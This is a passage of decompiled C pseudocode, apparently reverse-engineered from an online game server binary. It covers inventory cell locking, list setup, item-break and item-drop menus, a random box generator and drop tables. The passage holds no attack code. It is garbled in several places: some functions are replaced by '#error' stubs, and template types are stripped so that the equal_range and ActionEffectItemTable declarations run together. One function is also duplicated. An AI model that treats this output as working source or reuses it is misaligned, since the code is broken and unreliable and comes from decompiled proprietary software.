( v14->lc_Index != ignore ) { v15 = v12 < v9 && v8[v11].ls_IsActiv ? v8[v11].ls_Content : 0; if ( (unsigned int)v15->lc_InvenLocCurrent.Inven >> 10 == type && (v12 >= v9 || !v8[v11].ls_IsActiv ? (v16 = 0) : (v16 = v8[v11].ls_Content), (v16->lc_InvenLocCurrent.Inven & 0x3FF) == slot) || (v12 >= v9 || !v8[v11].ls_IsActiv ? (v17 = 0) : (v17 = v8[v11].ls_Content), (unsigned int)v17->lc_InvenLocExchange.Inven >> 10 == type && (v12 >= v9 || (v18 = 3 * v11, v19 = v8[4 * v18 / 0xCu].ls_IsActiv, v20 = (int)&v8[4 * v18 / 0xCu], !v19) ? (v21 = 0) : (v21 = *(_DWORD *)v20), (*(_WORD *)(v21 + 10) & 0x3FF) == slot)) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); return 1; } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); result = 0; } return result; } //----- (00479DE0) -------------------------------------------------------- #error "479DE0: undefined or illegal type '#734' (funcsize=86)" //----- (00479F10) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_Free(InventoryLocking::InventoryCellLockList *this, int inventype, int invenslot) { InventoryLocking::InventoryCellLockList *v3; // esi@1 ListStruct *v4; // edx@1 unsigned __int16 v5; // bp@1 int v6; // ecx@1 unsigned __int16 v7; // si@1 int v8; // eax@3 unsigned __int16 v9; // bx@3 bool v10; // cf@3 InventoryLocking::LockedCell *v11; // edi@5 int v12; // eax@9 char v13; // bl@9 int v14; // eax@9 int v15; // eax@10 int lt; // [sp+14h] [bp-18h]@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_Free"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_Free"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->icll_List.l_Array; v5 = v3->icll_List.l_MaxSize; v6 = (int)&v3->icll_List; v7 = v4[v3->icll_List.l_Finger.store].ls_Next; while ( v7 < v5 ) { v8 = v7; v9 = v7; v10 = v7 < v5; v7 = v4[v7].ls_Next; LOWORD(lt) = v9; if ( v10 && v4[v8].ls_IsActiv ) v11 = v4[v8].ls_Content; else v11 = 0; if ( (unsigned int)v11->lc_InvenLocCurrent.Inven >> 10 == inventype ) { if ( v9 < v5 && (v12 = 3 * v8, v13 = v4[4 * v12 / 0xCu].ls_IsActiv, v14 = (int)&v4[4 * v12 / 0xCu], v13) ) v15 = *(_DWORD *)v14; else v15 = 0; if ( (*(_WORD *)(v15 + 8) & 0x3FF) == invenslot ) { HIWORD(lt) = v7; (*(void (__stdcall **)(int))(*(_DWORD *)v6 + 8))(lt); goto LABEL_15; } } } AssertClass::ac_AssertFail( &shineassert, "InventoryLocking::InventoryCellLockList::icl_Free : No Releaser Free - LockIndex maybe wrong", 0); LABEL_15: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_Free"); } //----- (0047A050) -------------------------------------------------------- char __thiscall InventoryLocking::InventoryCellLockList::icl_IsAnyLock(InventoryLocking::InventoryCellLockList *this) { InventoryLocking::InventoryCellLockList *v1; // ebx@1 char result; // al@2 unsigned __int16 v3; // si@3 unsigned __int16 v4; // di@4 ListStruct *v5; // ecx@5 int v6; // eax@5 bool v7; // cf@5 int v8; // eax@6 int v9; // eax@7 v1 = this; if ( this->icll_AllLock ) { result = 1; } else { v3 = this->icll_List.l_Array[this->icll_List.l_Finger.store].ls_Next; while ( 1 ) { v4 = v1->icll_List.l_MaxSize; if ( v3 >= v4 ) break; v5 = v1->icll_List.l_Array; v6 = v3; v7 = v3 < v4; v3 = v5[v3].ls_Next; if ( v7 && (v8 = (int)&v5[v6], *(_BYTE *)(v8 + 8)) ) v9 = *(_DWORD *)v8; else v9 = 0; if ( !(unsigned __int8)(*(int (**)(void))(**(_DWORD **)(v9 + 4) + 8))() ) return 1; } result = 0; } return result; } //----- (0047A0C0) -------------------------------------------------------- char __thiscall InventoryLocking::InventoryCellLockList::icl_IsAnyLocked(InventoryLocking::InventoryCellLockList *this) { char result; // al@2 if ( this->icll_AllLock ) result = 1; else result = this->icll_List.l_Array[this->icll_List.l_Finger.store].ls_Next < this->icll_List.l_MaxSize; return result; } //----- (0047A0F0) -------------------------------------------------------- InventoryLocking::ReservedQuantity *__thiscall InventoryLocking::InventoryCellLockList::icl_ReservedQuantity(InventoryLocking::InventoryCellLockList *this, InventoryLocking::ReservedQuantity *reserv) { InventoryLocking::InventoryCellLockList *v2; // esi@1 InventoryLocking::ReservedQuantity *v3; // ebx@1 unsigned __int16 v4; // di@1 unsigned __int16 v5; // cx@2 ListStruct *v6; // edx@3 int v7; // eax@3 unsigned __int16 v8; // bx@3 bool v9; // cf@3 InventoryLocking::LockedCell *v10; // ebp@5 InventoryLocking::InvenCellReleaser *v11; // ebp@7 int v12; // ecx@8 char v13; // al@8 int v14; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_ReservedQuantity"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_ReservedQuantity"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = reserv; InventoryLocking::InventoryCellLock::icl_ReservedQuantity(&v2->baseclass_0, reserv); v4 = v2->icll_List.l_Array[v2->icll_List.l_Finger.store].ls_Next; while ( 1 ) { v5 = v2->icll_List.l_MaxSize; if ( v4 >= v5 ) break; v6 = v2->icll_List.l_Array; v7 = v4; v8 = v4; v9 = v4 < v5; v4 = v6[v4].ls_Next; if ( v9 && v6[v7].ls_IsActiv ) v10 = v6[v7].ls_Content; else v10 = 0; v11 = v10->lc_Releaser; if ( v8 < v5 && (v12 = 3 * v7, v13 = v6[v7].ls_IsActiv, v14 = (int)&v6[4 * v12 / 0xCu], v13) ) { v3 = reserv; v11->vfptr->icr_Reserv(v11, reserv, *(InventoryLocking::LockedCell **)v14); } else { v3 = reserv; v11->vfptr->icr_Reserv(v11, reserv, 0); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_ReservedQuantity"); return v3; } //----- (0047A210) -------------------------------------------------------- #error "47A210: undefined or illegal type '#593' (funcsize=57)" //----- (0047A2F0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (0047A340) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0047A460) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0047A580) -------------------------------------------------------- #error "47A580: undefined or illegal type '#593' (funcsize=175)" //----- (0047A7F0) -------------------------------------------------------- void __thiscall ItemLotAnalyser::LotAnalyser::LotAnalyser(ItemLotAnalyser::LotAnalyser *this) { ItemLotAnalyser::LotAnalyser *v1; // esi@1 signed int v2; // edi@1 signed int v3; // eax@1 int v4; // edx@1 signed int v5; // ebx@1 ListStruct *v6; // ecx@3 ItemLotAnalyser::LotChanger *v7; // ebp@3 int v8; // ecx@3 ListStruct *v9; // ecx@6 ItemLotAnalyser::LotChanger *v10; // ebp@6 int v11; // ecx@6 ListStruct *v12; // ecx@9 ItemLotAnalyser::LotChanger *v13; // ebp@9 int v14; // ecx@9 ListStruct *v15; // ecx@12 ItemLotAnalyser::LotChanger *v16; // ebp@12 int v17; // ecx@12 ListStruct *v18; // ecx@15 ItemLotAnalyser::LotChanger *v19; // ebp@15 int v20; // ecx@15 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x64u); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = 2; v3 = 3; v4 = (int)&v1->la_Array[1]; v5 = 20; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v6 = v1->baseclass_0.l_Array; v7 = v6[v3 - 3].ls_Content; v8 = (int)&v6[v3 - 3]; if ( !v7 ) *(_DWORD *)v8 = v4 - 8; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v9 = v1->baseclass_0.l_Array; v10 = v9[v3 - 2].ls_Content; v11 = (int)&v9[v3 - 2]; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v12 = v1->baseclass_0.l_Array; v13 = v12[v3 - 1].ls_Content; v14 = (int)&v12[v3 - 1]; if ( !v13 ) *(_DWORD *)v14 = v4 + 8; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v15 = v1->baseclass_0.l_Array; v16 = v15[v3].ls_Content; v17 = (int)&v15[v3]; if ( !v16 ) *(_DWORD *)v17 = v4 + 16; } if ( v2 + 2 < v1->baseclass_0.l_MaxSize ) { v18 = v1->baseclass_0.l_Array; v19 = v18[v3 + 1].ls_Content; v20 = (int)&v18[v3 + 1]; if ( !v19 ) *(_DWORD *)v20 = v4 + 24; } v4 += 40; v3 += 5; v2 += 5; --v5; } while ( v5 ); } // 645424: using guessed type int (__stdcall *List_HuntLog__MobHuntElement____vftable_[3])(__int16 hnd); //----- (0047A8D0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::InventoryCellLockList(InventoryLocking::InventoryCellLockList *this) { InventoryLocking::InventoryCellLockList *v1; // edi@1 char *v2; // esi@1 signed int v3; // edx@1 signed int v4; // ecx@1 int v5; // eax@1 int v6; // edi@3 int v7; // ebp@3 int v8; // edi@3 int v9; // edi@6 int v10; // ebp@6 int v11; // edi@6 int v12; // edi@9 int v13; // ebp@9 int v14; // edi@9 int v15; // edi@12 int v16; // ebp@12 int v17; // edi@12 int v18; // edi@15 int v19; // ebp@15 int v20; // edi@15 signed int v21; // [sp+10h] [bp-14h]@1 v1 = this; v2 = (char *)&this->icll_List; this->baseclass_0.vfptr = (InventoryLocking::InventoryCellLockVtbl *)&InventoryLocking::InventoryCellLockList::_vftable_; this->icll_List.vfptr = (ListVtbl *)List::_vftable_; this->icll_List.l_ListArray = 0; List::l_MakeList(&this->icll_List, 0x32u); v3 = 2; v4 = 36; v5 = (int)v1->icll_Array; v21 = 10; do { *(_DWORD *)(v5 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_None; if ( v3 - 2 < *((_WORD *)v2 + 2) ) { v6 = *((_DWORD *)v2 + 2); v7 = *(_DWORD *)(v6 + v4 - 36); v8 = v6 + v4 - 36; if ( !v7 ) *(_DWORD *)v8 = v5; } *(_DWORD *)(v5 + 164) = &InventoryLocking::InventoryCellLockList::icll_Releaser_None; if ( v3 - 1 < *((_WORD *)v2 + 2) ) { v9 = *((_DWORD *)v2 + 2); v10 = *(_DWORD *)(v9 + v4 - 24); v11 = v9 + v4 - 24; if ( !v10 ) *(_DWORD *)v11 = v5 + 160; } *(_DWORD *)(v5 + 324) = &InventoryLocking::InventoryCellLockList::icll_Releaser_None; if ( v3 < *((_WORD *)v2 + 2) ) { v12 = *((_DWORD *)v2 + 2); v13 = *(_DWORD *)(v12 + v4 - 12); v14 = v12 + v4 - 12; if ( !v13 ) *(_DWORD *)v14 = v5 + 320; } *(_DWORD *)(v5 + 484) = &InventoryLocking::InventoryCellLockList::icll_Releaser_None; if ( v3 + 1 < *((_WORD *)v2 + 2) ) { v15 = *((_DWORD *)v2 + 2); v16 = *(_DWORD *)(v15 + v4); v17 = v4 + v15; if ( !v16 ) *(_DWORD *)v17 = v5 + 480; } *(_DWORD *)(v5 + 644) = &InventoryLocking::InventoryCellLockList::icll_Releaser_None; if ( v3 + 2 < *((_WORD *)v2 + 2) ) { v18 = *((_DWORD *)v2 + 2); v19 = *(_DWORD *)(v18 + v4 + 12); v20 = v18 + v4 + 12; if ( !v19 ) *(_DWORD *)v20 = v5 + 640; } v4 += 60; v3 += 5; v5 += 800; --v21; } while ( v21 ); } // 645408: using guessed type int (__stdcall *List_InventoryLocking__LockedCell____vftable_[3])(__int16 hnd); // 6458F8: using guessed type int (__stdcall *InventoryLocking__InventoryCellLockList___vftable_)(int type, int slot); // 6AFE08: using guessed type int (__stdcall **InventoryLocking__InventoryCellLockList__icll_Releaser_None)(int, int lc, char inchest); //----- (0047AA20) -------------------------------------------------------- std::pair,std::allocator >,1> >::iterator,std::_Tree_std::allocator>_1>>::equal_range(std::_Tree,std::allocator >,1> > *this, std::pair,std::allocator >,1> >::iterator,std::_Tree,std::allocator >,1> >::_Node *v3; // edx@1 std::_Tree_nod,std::allocator >,1> >::_Node *v4; // eax@1 std::_Tree_nod,std::allocator >,1> >::_Node *v5; // ecx@6 std::_Tree_nod,std::allocator >,1> >::_Node *v6; // eax@6 std::pair,std::allocator >,1> >::iterator,std::_Tree_Myhead; v4 = v3->_Parent; while ( !v4->_Isnil ) { if ( *_Keyval >= v4->_Myval.first ) { v4 = v4->_Right; } else { v3 = v4; v4 = v4->_Left; } } v5 = this->_Myhead; v6 = v5->_Parent; while ( !v6->_Isnil ) { if ( v6->_Myval.first >= *_Keyval ) { v5 = v6; v6 = v6->_Left; } else { v6 = v6->_Right; } } v7 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; *(_DWORD *)&result->second.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v3; return v7; } //----- (0047AA90) -------------------------------------------------------- bool __cdecl ActionEffectItemTable::doWithActionIDs(ActionEffectItemTable *this, unsigned __int16 itemID, ItemAcion_Add function) { int v3; // esi@1 int v4; // ebp@1 int v5; // edi@2 ActionEffectItemTable *v6; // ebx@2 int v7; // eax@5 int j; // eax@6 int i; // eax@9 bool result; // al@14 int ret; // [sp+10h] [bp-8h]@1 int v12; // [sp+14h] [bp-4h]@1 std::_Tree_std::allocator>_1>>::equal_range( &ActionEffectItemTable::_actions, (std::pair,std::allocator >,1> >::iterator,std::_Tree(ActionEffectItemTable *this, unsigned __int16 itemID, ItemAcion_Del function) { int v3; // esi@1 int v4; // ebp@1 int v5; // edi@2 ActionEffectItemTable *v6; // ebx@2 int v7; // eax@5 int j; // eax@6 int i; // eax@9 bool result; // al@14 int ret; // [sp+10h] [bp-8h]@1 int v12; // [sp+14h] [bp-4h]@1 std::_Tree_std::allocator>_1>>::equal_range( &ActionEffectItemTable::_actions, (std::pair,std::allocator >,1> >::iterator,std::_Tree, void (__thiscall *cancel)(ServerMenuFuncter *, #734 *, ServerMenuArgument *), #734 *sp, void (__thiscall *ok)(ServerMenuFuncter *, #734 *, ServerMenuArgument *), ServerMenuArgument *argument) { void (__thiscall *v5)(ServerMenuFuncter *, #734 *, ServerMenuArgument *); // ST30_4@1 const char *v6; // eax@1 const char *v7; // ST14_4@1 const char *v8; // eax@1 void *v9; // eax@1 ServerMenuArgument itemcancel; // [sp+18h] [bp-D8h]@1 ServerMenuArgument itembreak; // [sp+80h] [bp-70h]@1 unsigned int v12; // [sp+ECh] [bp-4h]@1 int v13; // [sp+F0h] [bp+0h]@1 v12 = (unsigned int)&v13 ^ __security_cookie; v5 = cancel; memcpy(&itemcancel, argument, 0x68u); memcpy(&itembreak, argument, 0x68u); v6 = ShineScript::ss_String(&shinescriptmenusting, str); ShineObjectClass::ShinePlayer::sp_ServerMenuTitle((void *)sp, v6); v7 = ShineScript::ss_String(&shinescriptetc, "ButtonCancel"); v8 = ShineScript::ss_String(&shinescriptetc, "ButtonOK"); v9 = ShineObjectClass::ShinePlayer::sp_ServerMenuItem((void *)sp, ok, v8, &itembreak, (CharModeClassifier)78); ShineObjectClass::ShinePlayer::sp_ServerMenuItem(v9, v5, v7, &itemcancel, (CharModeClassifier)78); ShineObjectClass::ShinePlayer::sp_ServerMenuOpen((void *)sp, 0, -1, 0, 1000); } //----- (0047B190) -------------------------------------------------------- #error "47B190: undefined or illegal type '#734' (funcsize=10)" //----- (0047B1B0) -------------------------------------------------------- #error "47B1B0: undefined or illegal type '#734' (funcsize=232)" //----- (0047B4E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemBreakSuccess(void *this, int suc) { void *v2; // esi@1 int v3; // eax@1 DebugLogging *v4; // edi@2 _iobuf *v5; // eax@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemBreakSuccess"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ItemBreakSuccess"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2004))(v2); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v3 + 32))( v3, v2, *(_WORD *)(suc + 6), 0) ) { v4 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_ItemBreakSuccess : "); if ( DebugLogging::dl_ActivAll ) { if ( v4->dl_Activ ) { DebugLogging::dl_FilePoint(v4); v5 = v4->dl_FilePointer; if ( v5 ) fprintf(v5, "%d"); } } DebugLogging::operator<<(v4, &deb_LF); } (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 772))(v2, 12, 36); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemBreakSuccess"); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0047B600) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemBreakFail(void *this, int fail) { void *v2; // esi@1 __int16 v3; // bx@1 int v4; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemBreakFail"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ItemBreakFail"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_WORD *)(fail + 6); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2004))(v2); (*(void (__thiscall **)(int, __int16))(*(_DWORD *)v4 + 40))(v4, v3); (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v2 + 776))(v2, 12, 37, 6185); (*(void (__thiscall **)(void *, signed int, signed int, _DWORD))(*(_DWORD *)v2 + 776))( v2, 12, 37, *(_WORD *)(fail + 8)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemBreakFail"); } //----- (0047B6D0) -------------------------------------------------------- #error "47B6D0: undefined or illegal type '#593' (funcsize=56)" //----- (0047B7B0) -------------------------------------------------------- #error "47B7B0: undefined or illegal type '#593' (funcsize=56)" //----- (0047B890) -------------------------------------------------------- #error "47B890: undefined or illegal type '#734' (funcsize=31)" //----- (0047B930) -------------------------------------------------------- #error "47B930: undefined or illegal type '#734' (funcsize=45)" //----- (0047B9F0) -------------------------------------------------------- void __thiscall ServerMenuFuncter::smfm_ItemDropWarn(ServerMenuFuncter *this, #734 *a2, ServerMenuArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ServerMenuFuncter::smfm_ItemDropWarn"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuFuncter::smfm_ItemDropWarn"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_ItemDropOK(a2, arg); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuFuncter::smfm_ItemDropWarn"); } // 507C50: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_ItemDropOK(_DWORD, _DWORD); //----- (0047BA90) -------------------------------------------------------- #error "47BA90: undefined or illegal type '#734' (funcsize=45)" //----- (0047BB50) -------------------------------------------------------- void __thiscall ServerMenuFuncter::smfm_ItemBreakWarn0(ServerMenuFuncter *this, #734 *a2, ServerMenuArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ServerMenuFuncter::smfm_ItemBreakWarn0"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuFuncter::smfm_ItemBreakWarn0"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; itembreakmenu( "ItemBreakWarn1", ServerMenuFuncter::smfm_ItemBreakWarn1, ServerMenuFuncter::smfm_ItemBreakCancel, a2, arg); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuFuncter::smfm_ItemBreakWarn0"); } //----- (0047BC10) -------------------------------------------------------- #error "47BC10: undefined or illegal type '#734' (funcsize=101)" //----- (0047BDC0) -------------------------------------------------------- #error "47BDC0: undefined or illegal type '#734' (funcsize=101)" //----- (0047BF60) -------------------------------------------------------- char __thiscall ORToken::operator__(ORToken *this, ORToken *nm) { return *(_DWORD *)&this->ort_Name[0] != *(_DWORD *)&nm->ort_Name[0] || *(_DWORD *)&this->ort_Name[4] != *(_DWORD *)&nm->ort_Name[4] || *(_DWORD *)&this->ort_Name[8] != *(_DWORD *)&nm->ort_Name[8] || *(_DWORD *)&this->ort_Name[12] != *(_DWORD *)&nm->ort_Name[12] || *(_DWORD *)&this->ort_Name[16] != *(_DWORD *)&nm->ort_Name[16]; } //----- (0047BFA0) -------------------------------------------------------- unsigned int __thiscall RandomBox::rb_1000000(RandomBox *this) { unsigned int v1; // eax@1 int v2; // eax@1 unsigned int v3; // edx@1 char *v4; // eax@1 int v5; // edx@1 unsigned int v6; // eax@1 int v7; // eax@1 unsigned int v8; // esi@1 char *v9; // eax@1 int v10; // ecx@1 v1 = this->rb_box[4].rs_point.mask & (this->rb_box[4].rs_point.value + 1); this->rb_box[4].rs_point.value = v1; v2 = this->rb_box[4].rs_slot[v1] + 101; v3 = this->rb_box[v2].rs_point.value; v4 = (char *)this + v2 * 32776; v5 = *((_DWORD *)v4 + 8193) & (v3 + 1); *((_DWORD *)v4 + 8192) = v5; LOWORD(v5) = *(_WORD *)&v4[2 * v5]; v6 = this->rb_box[4].rs_point.mask & (this->rb_box[4].rs_point.value + 1); this->rb_box[4].rs_point.value = v6; v7 = this->rb_box[4].rs_slot[v6] + 101; v8 = this->rb_box[v7].rs_point.mask; v9 = (char *)this + v7 * 32776; v10 = v8 & (*((_DWORD *)v9 + 8192) + 1); *((_DWORD *)v9 + 8192) = v10; return 1000 * (unsigned __int16)v5 + *(_WORD *)&v9[2 * v10]; } //----- (0047C080) -------------------------------------------------------- int __thiscall DropItemStruct::ItemGroup::operator_(int this, int a2) { int result; // eax@1 int v3; // esi@1 int v4; // edi@1 signed int v5; // ebp@1 int v6; // edx@3 signed int v7; // esi@3 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); v3 = this + 20; v4 = a2 - this; v5 = 40; do { *(_BYTE *)v3 = *(_BYTE *)(v4 + v3); ++v3; --v5; } while ( v5 ); *(_WORD *)(this + 60) = *(_WORD *)(a2 + 60); *(_WORD *)(this + 62) = *(_WORD *)(a2 + 62); v6 = this + 64; v7 = 16; do { *(_WORD *)v6 = *(_WORD *)(v6 + v4); v6 += 2; --v7; } while ( v7 ); *(_DWORD *)(this + 96) = *(_DWORD *)(a2 + 96); return result; } //----- (0047C0F0) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropIndexCluster::DropIndexCluster(ItemDropFromMob::DropIndexCluster *this) { ItemDropFromMob::DropIndexCluster *v1; // esi@1 v1 = this; OptionReader::OptionReader(&this->dic_Table); v1->dic_DropItemBySpecies = 0; } //----- (0047C110) -------------------------------------------------------- int __thiscall MobRegenClass::MobBreeder::mb_RegenGroupIndex(void *this, int regengroup) { int v2; // eax@1 int result; // eax@1 v2 = *(_DWORD *)this + 6424; *(_DWORD *)regengroup = *(_DWORD *)(*(_DWORD *)this + 6424); *(_DWORD *)(regengroup + 4) = *(_DWORD *)(v2 + 4); *(_DWORD *)(regengroup + 8) = *(_DWORD *)(v2 + 8); *(_DWORD *)(regengroup + 12) = *(_DWORD *)(v2 + 12); result = *(_DWORD *)(v2 + 16); *(_DWORD *)(regengroup + 16) = result; return result; } //----- (0047C140) -------------------------------------------------------- int __thiscall ItemDropFromMob::DropItemListInGroup::__unnamed::__unnamed(int this) { int v1; // esi@1 v1 = this; DropItemStruct::ItemGroup::ItemGroup((ORKeyList::KeyElement *)(this + 2)); return v1; } //----- (0047C150) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropItemListInGroup::_DropItemListInGroup(ItemDropFromMob::DropItemListInGroup *this) { _eh_vector_destructor_iterator_( this->dilig_ItemList, 0x66u, 100, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (0047C170) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropItemListInGroup::dilig_AppendItem(ItemDropFromMob::DropItemListInGroup *this, unsigned __int16 itm, DropItemStruct::ItemGroup *ig) { ItemDropFromMob::DropItemListInGroup *v3; // esi@1 char *v4; // eax@1 bool v5; // zf@1 int v6; // [sp+8h] [bp-108h]@1 char buffer[256]; // [sp+Ch] [bp-104h]@1 unsigned int v8; // [sp+10Ch] [bp-4h]@1 v8 = (unsigned int)&v6 ^ __security_cookie; v3 = this; v4 = ORToken::ort_GetString(&this->dilig_Index, buffer); v5 = v3->dilig_MaxItem >= 0x64u; v6 = v3->dilig_MaxItem < 0x64u; if ( v5 ) { AssertClass::ac_AssertFail( &shineassert, "ItemDropFromMob::DropItemListInGroup::dilig_AppendItem : Too many item", v4); ShineExit("ItemDropFromMob::DropItemListInGroup::dilig_AppendItem"); } 